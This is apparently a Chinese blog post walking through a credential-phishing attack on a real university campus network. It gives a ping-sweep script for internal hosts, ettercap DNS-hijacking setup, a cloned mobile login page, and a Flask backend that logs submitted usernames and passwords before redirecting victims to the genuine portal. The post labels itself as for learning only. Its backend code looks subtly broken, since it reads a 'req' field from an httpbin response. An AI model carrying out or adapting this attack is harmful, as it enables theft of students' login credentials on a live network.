• 校园局域网钓鱼实例


    Hello ! 我是"我是小恒不会java"

    本文仅作为针对普通同学眼中的网络安全,设计的钓鱼案例也是怎么简陋怎么来

    注:本文不会外传代码,后端已停止使用,仅作为学习使用

    基本原理

    内网主机扫描+DNS劫持+前端模拟+后端HTTP请求保存日志+前端重定向至真实网站

    仿制前端

    原本站点网址,这是作者仿制后实现的,后端Flask框架(打码了)

    https://ca.csu.edu.cn/

    内网主机扫描 

    1. import os
    2. import platform
    3. def ping(host):
    4. if platform.system() == "Windows":
    5. response = os.system("ping -n 1 " + host)
    6. else:
    7. response = os.system("ping -c 1 " + host)
    8. return response == 0
    9. with open("active_ips.txt", "w") as f:
    10. for i in range(0, 255):
    11. for j in range(0, 255):
    12. ip = "100.65.{}.{}".format(i, j)
    13. if ping(ip):
    14. print("{} is active".format(ip))
    15. f.write(ip + "\n")

     python太慢,建议用批处理脚本。第一次写,没必要,就先用了

    DNS劫持

    准备:一台kail linux主机,连接校园网,使用ettercap进行DNS劫持

    修改/etc/ettercap/etter.dns文件,根据提示按需进行劫持配置

    先打开阿帕奇服务器,试试可用性,成功则如下图所示

    前端仿制 

    主要是针对移动端,我就只针对移动端进行特意修改

    加上form表单,和falsk后端匹配。设置应用的秘钥,用于加密session数据。

    实现一个简单的session登陆验证,并向后端发送加密信息,等待服务器响应

    后端

    1. def save_request_data():
    2. target_url = request.json['target_url']
    3. save_path = request.json['save_path']
    4. # 准备请求参数
    5. request_data = {
    6. 'method': 'POST',
    7. 'url': target_url,
    8. 'headers': request.headers.to_list(), # 保存当前请求的 headers 为例
    9. 'data': request.get_json()
    10. }
    11. # 发送请求到 httpbin(一个用于测试 HTTP 请求和响应的工具服务),以获取原始请求数据
    12. response = requests.post('https://httpbin.org/anything', json=request_data)
    13. if response.status_code == 200:
    14. # 解析 httpbin 返回的 JSON 数据,提取原始请求数据
    15. raw_request_data = response.json()['req']
    16. # 将原始请求数据写入文件
    17. with open(save_path, 'w', encoding='utf-8') as f:
    18. json.dump(raw_request_data, f, ensure_ascii=False, indent=4)
    19. return jsonify({'status': 'success', 'message': 'HTTP request data saved successfully.'})
    20. else:
    21. return jsonify({'status': 'error', 'message': f'Received non-successful status code {response.status_code} from the server.'}), response.status_code

    服务器端保存请求内容,并正常返回响应,从而达到获取username和password的目的

    重定向

    在前端点击登陆后重定向至正确网址,用户只会认为网页卡顿了,再次输入信息后成功登陆校园门户网络

  • 相关阅读:
    【无标题】
    JavaScript实现在HTML中的粒子文字特效
    LeetCode_二分搜索_中等_436.寻找右区间
    大型游戏动作竞技游戏开发和体感VR/AR游戏开发:创造引人入胜的虚拟世界
    计算机毕设(附源码)JAVA-SSM基于框架的旅游订票系统
    记录一次失败的Ubuntu 20.04 OpenSSL3.0.5升级记录
    [机缘参悟-49]:三季人与认知维度
    新160个CrackMe分析-第2组:11-20(上)
    MIT6824 Lab1要求
    【day11】最近公共祖先&最大连续bit数
  • 原文地址:https://blog.csdn.net/2302_81578551/article/details/137180647